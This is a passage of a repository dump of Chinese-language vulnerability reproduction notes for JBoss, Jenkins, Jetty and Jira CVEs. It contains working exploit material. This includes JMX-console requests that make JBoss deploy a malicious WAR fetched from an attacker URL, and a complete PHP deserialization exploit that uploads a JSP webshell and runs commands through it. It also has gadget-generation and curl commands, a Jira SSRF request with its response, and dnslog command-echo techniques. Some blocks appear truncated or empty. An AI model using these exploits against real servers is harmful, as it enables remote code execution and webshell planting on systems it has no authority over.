20 | action=invokeOpByName&name=jboss.system%3Aservice%3DMainDeployer&methodName=deploy&argType=java.lang.String&arg0=http://xxxxxx/a.war
21 | ```
22 |
23 | 
24 |
25 | 其中arg0是攻击者服务器上放置的恶意war包,包中可以放置jsp大马、小马什么的。
26 |
27 | ### msf exp
28 |
29 | https://www.exploit-db.com/exploits/16318
30 |
31 | ### python poc
32 |
33 | jboss_file_creation_cve20072036
34 | 自己根据msf exp改一下吧,不方便放出来
--------------------------------------------------------------------------------
/jboss/cve-2010-0738/assets/burp_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2010-0738/assets/burp_poc.png
--------------------------------------------------------------------------------
/jboss/cve-2010-0738/assets/python_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2010-0738/assets/python_poc.png
--------------------------------------------------------------------------------
/jboss/cve-2010-0738/assets/python_poc1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2010-0738/assets/python_poc1.png
--------------------------------------------------------------------------------
/jboss/cve-2010-0738/readme.md:
--------------------------------------------------------------------------------
1 | CVE-2010-0738
2 | --
3 |
4 | ### 利用方法
5 |
6 |
7 | ```
8 | HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.system:service=MainDeployer&methodName=deploy&argType=java.lang.String&arg0=http://xxx/a.war HTTP/1.1
9 | Host: 127.0.0.1:8080
10 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
11 | Accept-Encoding: gzip, deflate
12 | Accept: */*
13 | Connection: close
14 |
15 |
16 | ```
17 | 
18 |
19 | 其中arg0为恶意war包的线上地址。
--------------------------------------------------------------------------------
/jboss/cve-2013-4810/assets/a.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/a.war
--------------------------------------------------------------------------------
/jboss/cve-2013-4810/assets/burp_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/burp_poc.png
--------------------------------------------------------------------------------
/jboss/cve-2013-4810/assets/poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/poc.png
--------------------------------------------------------------------------------
/jboss/cve-2013-4810/assets/python_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/python_poc.png
--------------------------------------------------------------------------------
/jboss/cve-2013-4810/assets/usage.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/usage.png
--------------------------------------------------------------------------------
/jboss/cve-2013-4810/readme.md:
--------------------------------------------------------------------------------
1 | 反序列化导致文件上传漏洞(cve-2013-4810)
2 | --
3 |
4 | ### exp-db的poc(php版本)
5 |
6 | ```php
7 | = 0x20 && $i <= 0x7E) ? chr($i) : $pad;
29 | }
30 | }
31 | $hex = str_split(bin2hex($data), $width*2);
32 | $chars = str_split(strtr($data, $from, $to), $width);
33 | $offset = 0;
34 | foreach ($hex as $i => $line) {
35 | echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline;
36 | $offset += $width;
37 | }
38 | }
39 |
40 | $frag_i=
41 | "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". // ....sr.) org.jbos
42 | "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". // s.invoca tion.Mar
43 | "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". // shalledI nvocatio
44 | "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". // n...'A>. ....xppw
45 | "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". // .x..G..S .sr..jav
46 | "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". // a.lang.I nteger..
47 | "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". // .....8.. .I..valu
48 | "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". // exr..jav a.lang.N
49 | "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". // umber... ........
50 | "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". // xp&...sr .$org.jb
51 | "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". // oss.invo cation.M
52 | "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". // arshalle dValue..
53 | "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77";
54 |
55 | $frag_ii="\x00";
56 |
57 | $frag_iii=
58 | "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". // .....ur. .[Ljava.
59 | "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". // lang.Obj ect;..X.
60 | "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". // .s)l...x p....sr.
61 | "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". // .javax.m anagemen
62 | "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". // t.Object Name....
63 | "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". // .m.....x pt.!jbos
64 | "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". // s.system :service
65 | "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". // =MainDep loyerxt.
66 | "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". // .deployu q.~.....
67 | "\x01\x74".
68 | $url_len.
69 | $url.
70 | "\x75\x72\x00".
71 | "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". // ur..[ Ljava.la
72 | "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". // ng.Strin g;..V...
73 | "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". // {G...xp. ...t..ja
74 | "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67";
75 |
76 | $frag_iv=
77 | "\x0d\xd3".
78 | "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". // ..xw.... .sr."org
79 | "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". // .jboss.i nvocatio
80 | "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". // n.Invoca tionKey.
81 | "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". // .r...... ..I..ord
82 | "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". // inalxp.. ..sq.~..
83 | "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". // w....... ..p.W..x
84 | "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". // w.....sq .~......
85 | "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". // sr.#org. jboss.in
86 | "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". // vocation .Invocat
87 | "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". // ionTypeY .:..+|..
88 | "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". // ..I..ord inalxp..
89 | "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". // ..sq.~.. ....pt..
90 | "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". // JMX_OBJE CT_NAMEs
91 | "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". // r..javax .managem
92 | "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". // ent.Obje ctName..
93 | "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". // ...m.... .xpt.!jb
94 | "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". // oss.syst em:servi
95 | "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". // ce=MainD eployerx
96 | "\x78"; // x
97 |
98 | $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv;
99 |
100 | //$pk=""POST /invoker/JMXInvokerServlet/ HTTP/1.1\r\n". //the same ...
101 |
102 | $pk="POST /invoker/EJBInvokerServlet/ HTTP/1.1\r\n".
103 | "ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n".
104 | "Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n".
105 | "User-Agent: Java/1.6.0_21\r\n".
106 | "Host: ".$host.":".$port."\r\n".
107 | "Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n".
108 | "Connection: keep-alive\r\n".
109 | "Content-type: application/x-www-form-urlencoded\r\n".
110 | "Content-Length: ".strlen($data)."\r\n\r\n".
111 | $data;
112 | echo hex_dump($pk)."\n";
113 | $fp=fsockopen($host,$port,$e,$err,3);
114 | fputs($fp,$pk);
115 | $out=fread($fp,8192);
116 | fclose($fp);
117 | echo hex_dump($out)."\n";
118 |
119 | sleep(5);
120 | // 验证war包是否成功部署
121 | $pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0\r\n".
122 | "Host: ".$host.":".$port."\r\n".
123 | "Connection: Close\r\n\r\n";
124 |
125 |
126 | echo hex_dump($pk)."\n";
127 | $fp=fsockopen($host,$port,$e,$err,3);
128 | fputs($fp,$pk);
129 | $out="";
130 | while (!feof($fp)) {
131 | $out.=fread($fp,8192);
132 | }
133 | fclose($fp);
134 | echo $out;
135 | ?>
136 |
137 | ```
138 |
139 | war包就是一个里面就是一个jsp小马,我放在assets目录里了。
140 |
141 |
142 | ### 复现环境
143 |
144 | jboss 4.2.0
145 | jdk 1.8
146 |
147 | ### 利用方法
148 |
149 | 
150 |
151 | poc的两个参数分别为目标主机地址,和你想要执行的命令,我的小马是没有回显的,所以,我直接用命令打开我的wireshark,效果如下:
152 |
153 | 
154 |
155 | 至此,复现成功!
156 |
157 | ### python版poc
158 |
159 | 
160 |
161 | python poc直接根据php版本进行修改的
162 |
163 | 
164 |
165 |
--------------------------------------------------------------------------------
/jboss/cve-2017-7504/assets/poc1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2017-7504/assets/poc1.png
--------------------------------------------------------------------------------
/jboss/cve-2017-7504/assets/poc2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2017-7504/assets/poc2.png
--------------------------------------------------------------------------------
/jboss/cve-2017-7504/readme.md:
--------------------------------------------------------------------------------
1 | JBoss 4.x JBossMQ JMS 反序列化漏洞
2 | --
3 |
4 | 复现环境来自vulhub:
5 | https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504
6 |
7 |
8 |
9 | Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
10 |
11 | 参考:
12 |
13 | - https://github.com/joaomatosf/JavaDeserH2HC
14 | - https://www.youtube.com/watch?v=jVMr4eeJ2Po
15 |
16 | ## 漏洞环境
17 |
18 | 执行如下命令启动JBoss AS 4.0.5:
19 |
20 | ```
21 | docker-compose up -d
22 | ```
23 |
24 | 环境启动后,目标为`http://your-ip:8080`。
25 |
26 | ## 漏洞复现
27 |
28 | 参考利用工具[JavaDeserH2HC](https://github.com/joaomatosf/JavaDeserH2HC),我们选择一个Gadget:`ExampleCommonsCollections1WithHashMap`,编译并生成序列化数据:
29 |
30 | ```
31 | javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
32 | java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/success"
33 | ```
34 |
35 | 可见,我们执行的命令是`touch /tmp/success`。执行完成后,将生成一个文件`ExampleCommonsCollections1WithHashMap.ser`,将该文件作为body发送如下数据包:
36 |
37 | ```
38 | curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
39 | ```
40 |
41 | 上述是来自vulhub的readme,但是我在使用curl发送数据包的时候出现了一些问题,所以,我还是通过python写了个脚本来发送的payload,burp抓包如下(需要注意的是content-type为x-amf)
42 |
43 | 
44 |
45 | 我执行的命令是ping我的dnslog平台,dnslog成功记录到
46 |
47 | 
48 |
49 | 证明漏洞成功利用
50 |
51 |
52 | ### cve-2015-7501
53 |
54 | 这个漏洞与上个漏洞的poc是同一个,只是利用路径更改为/invoker/JMXInvokerServlet
55 |
56 |
57 |
58 |
--------------------------------------------------------------------------------
/jenkins/CVE-2018-1999002/readme.md:
--------------------------------------------------------------------------------
1 | ### 参考
2 |
3 | https://xz.aliyun.com/t/2486
--------------------------------------------------------------------------------
/jenkins/cve-2016-0792/assets/burp_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/cve-2016-0792/assets/burp_poc.png
--------------------------------------------------------------------------------
/jenkins/cve-2016-0792/assets/burp_poc1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/cve-2016-0792/assets/burp_poc1.png
--------------------------------------------------------------------------------
/jenkins/cve-2016-0792/assets/dnslog.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/cve-2016-0792/assets/dnslog.png
--------------------------------------------------------------------------------
/jenkins/cve-2016-0792/python_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/cve-2016-0792/python_poc.png
--------------------------------------------------------------------------------
/jenkins/cve-2016-0792/readme.md:
--------------------------------------------------------------------------------
1 | ### 参考
2 | https://www.cnblogs.com/sevck/p/5225629.html
3 |
4 |
5 | ### 复现方法
6 | payload:
7 |
8 | ```
9 |
36 | ```
37 |
38 | ``标签中填写需要执行的命令
39 | 利用dnslog的方式实现命令回显
40 |
41 | 
42 |
43 |
44 | dnslog 平台收到执行的命令
45 | 
46 |
47 |
--------------------------------------------------------------------------------
/jenkins/jenkins未授权RCE/assets/manage.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/jenkins未授权RCE/assets/manage.png
--------------------------------------------------------------------------------
/jenkins/jenkins未授权RCE/assets/python_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/jenkins未授权RCE/assets/python_poc.png
--------------------------------------------------------------------------------
/jenkins/jenkins未授权RCE/assets/script.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/jenkins未授权RCE/assets/script.png
--------------------------------------------------------------------------------
/jenkins/jenkins未授权RCE/readme.md:
--------------------------------------------------------------------------------
1 | 在未授权的情况下可以访问控制台
2 |
3 | 
4 |
5 | 也可以直接访问可以执行命令的script页面
6 |
7 | 
8 |
9 |
--------------------------------------------------------------------------------
/jetty/jetty漏洞收集.md:
--------------------------------------------------------------------------------
1 | ### jetty心脏滴血(CVE-2015-2080)
2 |
3 | 参考:
4 | http://drop.zone.ci/drops/[CVE-2015-2080]%20Jetty%20web%20server%20%E8%BF%9C%E7%A8%8B%E5%85%B1%E4%BA%AB%E7%BC%93%E5%86%B2%E5%8C%BA%E6%B3%84%E6%BC%8F.html
5 |
6 | 复现了几个版本没有成功,先放在这里
7 |
8 | ### python poc参考
9 |
10 | https://github.com/GDSSecurity/Jetleak-Testing-Script/blob/master/jetleak_tester.py
11 |
12 |
--------------------------------------------------------------------------------
/jira/未授权ssrf/assets/burp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jira/未授权ssrf/assets/burp.png
--------------------------------------------------------------------------------
/jira/未授权ssrf/assets/python_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jira/未授权ssrf/assets/python_poc.png
--------------------------------------------------------------------------------
/jira/未授权ssrf/readme.md:
--------------------------------------------------------------------------------
1 | # Jira未授权SSRF漏洞(CVE-2019-8451)
2 | **请求**
3 | ```
4 | GET /plugins/servlet/gadgets/makeRequest?url=http://34.xxx.xxx.135:9090@www.baidu.com HTTP/1.1
5 | Host: 34.xxx.xxx.135:9090
6 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
7 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 | Accept-Encoding: gzip, deflate
10 | Connection: close
11 | Cookie: atlassian.xsrf.token=BLK9-HZ8Q-DNV4-7BNM|3b3e4362eb4f9ff72dd239df8f66fcb6984cc995|lout; JSESSIONID=1BCD9172AD4BD6916970E134F6CE68C9
12 | Upgrade-Insecure-Requests: 1
13 | X-Atlassian-Token: no-check
14 | Pragma: no-cache
15 | Cache-Control: no-cache
16 |
17 |
18 | ```
19 |
20 | **响应**
21 |
22 | ```
23 | HTTP/1.1 200
24 | X-AREQUESTID: 580x26659x1
25 | X-ASESSIONID: f5m6h0
26 | X-ASEN: SEN-L10048033
27 | X-AUSERNAME: anonymous
28 | X-Content-Type-Options: nosniff
29 | Expires: Tue, 08 Oct 2019 09:40:18 GMT
30 | Pragma: no-cache
31 | Cache-Control: no-cache
32 | Content-Disposition: attachment;filename=p.txt
33 | Vary: User-Agent
34 | Content-Type: application/json;charset=UTF-8
35 | Content-Length: 2614
36 | Date: Tue, 08 Oct 2019 09:40:18 GMT
37 | Connection: close
38 |
39 | throw 1; < don't be evil' >{"http://34.xxx.xxx.135:9090@www.baidu.com":{"rc":200,"headers":{"set-cookie":["BDORZ=27315; max-age=86400; domain=.baidu.com; path=/"]},"body":"\r\n ç¾åº¦ä¸ä¸ï¼ä½ å°±ç¥é<\/title><\/head>